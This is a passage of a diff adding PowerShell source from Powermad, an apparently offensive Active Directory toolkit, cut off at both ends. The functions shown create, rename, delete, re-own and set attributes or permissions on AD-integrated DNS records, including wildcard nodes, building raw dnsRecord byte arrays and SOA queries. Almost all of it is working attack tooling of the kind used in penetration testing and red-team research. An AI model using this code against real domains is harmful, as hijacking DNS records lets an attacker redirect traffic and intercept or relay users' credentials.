$object_category += ",DC=$DC" + } + + try + { + $connection.SessionOptions.Sealing = $true + $connection.SessionOptions.Signing = $true + $connection.Bind() + $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest + $request.DistinguishedName = $distinguished_name + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null + + if($Tombstone) + { + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null + } + + $connection.SendRequest($request) > $null + Write-Output "[+] ADIDNS node $Node added" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + +} + +function New-SOASerialNumberArray +{ + <# + .SYNOPSIS + This function gets the current SOA serial number for a DNS zone and increments it by the + set amount. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to create a byte array which contains the correct SOA serial number for the + next record that will be created with New-DNSRecordArray. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Zone + The DNS zone. + + .PARAMETER Increment + Default = 1: The number that will be added to the SOA serial number pulled from a DNS server. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .EXAMPLE + Generate a byte array from the currect SOA serial number incremented by one. + New-SOASerialNumberArray + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$Increment = 1, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$SOASerialNumber) + { + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + $Zone = $Zone.ToLower() + + function Convert-DataToUInt16($Field) + { + [Array]::Reverse($Field) + return [System.BitConverter]::ToUInt16($Field,0) + } + + function ConvertFrom-PacketOrderedDictionary($OrderedDictionary) + { + + ForEach($field in $OrderedDictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + function New-RandomByteArray + { + param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255) + + [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)}) + [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + return $random + } + + function New-DNSNameArray + { + param([String]$Name) + + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + ForEach ($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + function New-PacketDNSSOAQuery + { + param([String]$Name) + + [Byte[]]$type = 0x00,0x06 + [Byte[]]$name = (New-DNSNameArray $Name) + 0x00 + [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0] + [Byte[]]$transaction_ID = New-RandomByteArray 2 + $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary + $DNSQuery.Add("Length",$length) + $DNSQuery.Add("TransactionID",$transaction_ID) + $DNSQuery.Add("Flags",[Byte[]](0x01,0x00)) + $DNSQuery.Add("Questions",[Byte[]](0x00,0x01)) + $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("Queries_Name",$name) + $DNSQuery.Add("Queries_Type",$type) + $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01)) + + return $DNSQuery + } + + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 + + try + { + $DNS_client.Connect($DomainController,"53") + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + $packet_DNSQuery = New-PacketDNSSOAQuery $Zone + [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_client.Close() + $DNS_client_stream.Close() + + if($DNS_client_receive[9] -eq 0) + { + Write-Output "[-] $Zone SOA record not found" + } + else + { + $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive) + $DNS_reply_converted = $DNS_reply_converted -replace "-","" + $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001") + $SOA_answer_index = $SOA_answer_index / 2 + $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)] + $SOA_length = Convert-DataToUInt16 $SOA_length + [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)] + $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + $Increment + [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3] + } + + } + catch + { + Write-Output "[-] $DomainController did not respond on TCP port 53" + } + + } + else + { + [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOASerialNumber + $Increment)[0..3] + } + + return [Byte[]]$SOA_serial_number_array +} + +function New-DNSRecordArray +{ + <# + .SYNOPSIS + This function creates a valid byte array for the dnsRecord attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + DNS record types and targets are defined within the dnsRecord attribute. This function will create a valid + array for record type and data. The arrays can be passed to both New-ADIDNSNode and Set-ADIDNSNodeAttribute + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DomainController + Domain controller that will be passed to New-SOASerialNumberArray. This parameter is mandatory on a non-domain + attached system. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The DNS zone that will be passed to New-SOASerialNumberArray. + + .EXAMPLE + Create a dnsRecord array for an A record pointing to 192.168.0.1. + New-DNSRecordArray -Type A -Data 192.168.0.1 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$Data -and $Type -eq 'A') + { + + try + { + $Data = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + Write-Verbose "[+] Data = $Data" + } + catch + { + Write-Output "[-] Error finding local IP, specify manually with -DNSData" + throw + } + + } + elseif(!$Data) + { + Write-Output "[-] -DNSData required with record type $Type" + throw + } + + try + { + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + function New-DNSNameArray + { + param([String]$Name) + + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + ForEach ($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + switch ($Type) + { + + 'A' + { + [Byte[]]$DNS_type = 0x01,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1] + [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() + } + + 'AAAA' + { + [Byte[]]$DNS_type = 0x1c,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1] + [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() + } + + 'CNAME' + { + [Byte[]]$DNS_type = 0x05,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'DNAME' + { + [Byte[]]$DNS_type = 0x27,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'MX' + { + [Byte[]]$DNS_type = 0x0f,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1] + [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0] + $DNS_data += $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'NS' + { + [Byte[]]$DNS_type = 0x02,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'PTR' + { + [Byte[]]$DNS_type = 0x0c,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'SRV' + { + [Byte[]]$DNS_type = 0x21,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1] + [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0] + $DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0] + $DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0] + $DNS_data += $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'TXT' + { + [Byte[]]$DNS_type = 0x10,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1] + [Byte[]]$DNS_data = $Data.Length + $DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data) + } + + } + + [Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL) + [Byte[]]$DNS_record = $DNS_length + + $DNS_type + + 0x05,0xF0,0x00,0x00 + + $SOASerialNumberArray[0..3] + + $DNS_TTL[3..0] + + 0x00,0x00,0x00,0x00 + + if($Static) + { + $DNS_record += 0x00,0x00,0x00,0x00 + } + else + { + $timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + $timestamp = $timestamp[0..3] + $DNS_record += $timestamp + } + + $DNS_record += $DNS_data + + return [Byte[]]$DNS_record +} + +function Rename-ADIDNSNode +{ + <# + .SYNOPSIS + This function renames an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to rename an ADIDNS node. Note that renaming the ADIDNS node will leave the old + record within DNS. + + .PARAMETER Credential + PSCredential object that will be used to rename the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The source ADIDNS node name. + + .PARAMETER NodeNew + The new ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Renames an ADIDNS node named test to test2. + Rename-ADIDNSNode -Node test -NodeNew test2 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][String]$NodeNew = "*", + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.Rename("DC=$NodeNew") + Write-Output "[+] ADIDNS node $Node renamed to $NodeNew" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Remove-ADIDNSNode +{ + <# + .SYNOPSIS + This function removes an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to remove an ADIDNS node. Note that the if the node has not been tombstoned and + allowed to repliate to all domain controllers, the record will remain in DNS. + + .PARAMETER Credential + PSCredential object that will be used to delete the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Removes a wildcard node. + Remove-ADIDNSNode -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.psbase.DeleteTree() + Write-Output "[+] ADIDNS node $Node removed" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Revoke-ADIDNSPermission +{ + <# + .SYNOPSIS + This function removes an ACE to an ADIDNS node or zone DACL. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function is mainly for removing the ACE associated with the user that created the DNS node + after adding an alternative ACE with Set-DNSPermission. Although this function will work on DNS zones, + non-administrators will rarely have the ability to modify a DNS zone. + + .PARAMETER Access + Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete, + DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren, + ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty. + + .PARAMETER Credential + PSCredential object that will be used to modify the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node or zone. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Principal + The ACE user or group. + + .PARAMETER Type + Default = Allow: The ACE allow or deny access type. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Remove the GenericAll ACE associated for the user1 account. + Revoke-ADIDNSPermission -Node * -Principal user1 -Access GenericAll + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", + "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", + "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", + [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow", + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=DomainDNSZones" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $NT_account = New-Object System.Security.Principal.NTAccount($Principal) + $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) + $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID + $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access + $access_control_type = [System.Security.AccessControl.AccessControlType]$Type + $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" + $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + try + { + $directory_entry.psbase.ObjectSecurity.RemoveAccessRule($ACE) > $null + $directory_entry.psbase.CommitChanges() + Write-Output "[+] ACE removed for $Principal" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Set-ADIDNSNodeAttribute +{ + <# + .SYNOPSIS + This function can append, populate, or overwite values in an ADIDNS node attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can append, populate, or overwite values in an ADIDNS node attribute. + + .PARAMETER Append + Switch: Appends a value rather than overwriting. This can be used to the dnsRecord attribute + to create multiple DNS records of the same name for round robin, etc. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Value + The attribute value. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Set the writable description attribute on a node named test. + Set-ADIDNSNodeAttribute -Node test -Attribute description -Value "do not delete" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$true)]$Value, + [parameter(Mandatory=$false)][Switch]$Append, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + + if($Append) + { + $directory_entry.$Attribute.Add($Value) > $null + $directory_entry.SetInfo() + Write-Output "[+] $attribute appended" + } + else + { + $directory_entry.InvokeSet($Attribute,$Value) + $directory_entry.SetInfo() + Write-Output "[+] $attribute updated for $Node" + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Set-ADIDNSNodeOwner +{ + <# + .SYNOPSIS + This function can sets the owner of an ADIDNS Node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can sets the owner of an ADIDNS Node. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Principal + The user or group that will be granted ownsership. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Set the owner of a node named test to user1. + Set-ADIDNSNodeOwner -Node test -Principal user1 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + 